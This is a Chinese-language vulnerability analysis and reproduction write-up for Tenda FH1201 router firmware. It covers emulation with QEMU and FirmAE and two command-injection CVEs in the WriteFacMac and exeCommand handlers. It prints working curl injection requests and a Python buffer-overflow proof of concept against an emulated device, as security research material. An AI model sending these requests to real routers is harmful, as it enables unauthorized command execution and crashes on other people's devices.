Tenda-FH1201多处命令注入漏洞分析和复现

前言

腾达(Tenda)是中国的一家网络设备制造商,专注于生产各种网络相关设备,包括路由器、交换机、无线适配器和网络摄像头等。腾达的 FH 系列路由器是其家庭和小型办公网络解决方案中的一种,主要特点是性价比高,易于设置和使用。

环境搭建

固件下载

enda官网提供固件下载[1]:

1
固件版本: FH1201 Firmware  V1.2.0.14

binwalk 解压固件:

1
$ binwalk -Me US_FH1201V1.0BR_V1.2.0.14\(408\)_EN_TD.bin

查看 bin/busybox 得知是 32位mips架构(小端):

1
2
$ file squashfs-root/bin/busybox 
squashfs-root/bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

FirmAE模拟

参考的这位师傅是使用的qemu模拟,我实测FirmAE也可以,并且更加方便

先使用 QEMU用户级调试启动,看看会不会遇到问题。安装 qemu-user-static

1
2
$ sudo apt install qemu-user-static  # debian,ubuntu
$ sudo yum install qemu-user-static # centos

安装完成后将 qemu-mipsel-static 赋值到文件系统目录 squashfs-root 下,启动 httpd 服务:

1
2
3
$ cd squashfs-root/
$ cp $(which qemu-mipsel-static) ./
$ sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

image-20240910102320382

发现一直卡在welcom to,于是去文件看一下为什么

image-20240910102824865

发现主要是check_network这个函数的问题,会无限sleep,否则的话应该会是报错的,于是我们尝试把他patch一下,或者自己写个ld去劫持掉check_network也可以

汇编代码如下:

image-20240910103221793

patch完成后汇编代码如下

image-20240910103158338

patch完成后使用firmware-mod-kit打包该程序,./fmk是用该程序解包的结果

image-20240910103658580

然后直接使用FirmAE对该固件进行模拟即可

1
2
sudo ./run.sh  -c tenda /path/firename
sudo ./run.sh -r tenda /path/firename

image-20240910104034086

进入之后启动/bin/httpd即可,当然默认是启动的,但是为了方便查看效果还是自己启动一个

CVE-2024-41473

漏洞位于 WriteFacMac 函数中:

image-20240910104615277

websGetVar(a1, "mac", "00:01:02:11:22:33")代码从 HTTP 请求中获取名为 mac 的参数。如果参数不存在,则使用默认值 "00:01:02:11:22:33"

doSystemCmd("cfm mac %s", Var)代码使用格式化字符串 cfm mac %s 和变量 Var 生成命令,然后调用 doSystemCmd 函数执行生成的命令。

doSystemCmd 函数看起来是一个执行系统命令的函数,并且通过格式化字符串将 Var 直接插入命令中。如果 Var 中包含恶意用户输入,可能会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 mac 参数

1
mac=00:01:02:11:22:33; ifconfig /

这种情况下生成的命令将会导致命令执行:

1
cfm mac 00:01:02:11:22:33; ifconfig /

漏洞复现

1
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "mac=;ls" "http://192.168.0.1:81/goform/WriteFacMac"

image-20240910104837745

CVE-2024-41468

漏洞位于 exeCommand 函数中:

image-20240910105826986

src = (char *)websGetVar(a1, "cmdinput", &unk_4AFDC0)代码从HTTP请求中获取名为 cmdinput 的参数,存储在 src 中。如果参数不存在,使用默认值 &unk_4AFDC0

strcpy(v7, src)代码将获取到的 cmdinput 参数值复制到缓冲区 v7 中。没有对输入进行验证或清理。

由于 doSystemCmd 函数直接使用 v7 中的值作为命令执行,且 v7 是从用户输入中获取的,这会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 cmdinput 参数

1
cmdinput=ls; ifconfig 

这种情况下生成的命令将会导致命令执行:

1
ls; ifconfig 

漏洞复现

1
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "cmdinput=ifconfig;" "http://192.168.0.1:81/goform/exeCommand" 

image-20240910110035593

此外,大家注意char v7[512]; char v8[256]; char v9[4096]; char v10[4096]; 声明了一些固定大小的缓冲区。

strcpy(v7, src); 使用 strcpy 将用户输入复制到 v7,但 strcpy 不会检查目标缓冲区的大小。如果 src 超过 512 字节,导致导致缓冲区溢出,程序崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

ip = '192.168.0.1'
url = f"http://{ip}/goform/exeCommand"

long_input = 'A' * 600 # 600 字节的字符串,会溢出 512 字节的缓冲区

data = {
"cmdinput": long_input
}

ret = requests.post(url=url, data=data)
print(ret.text)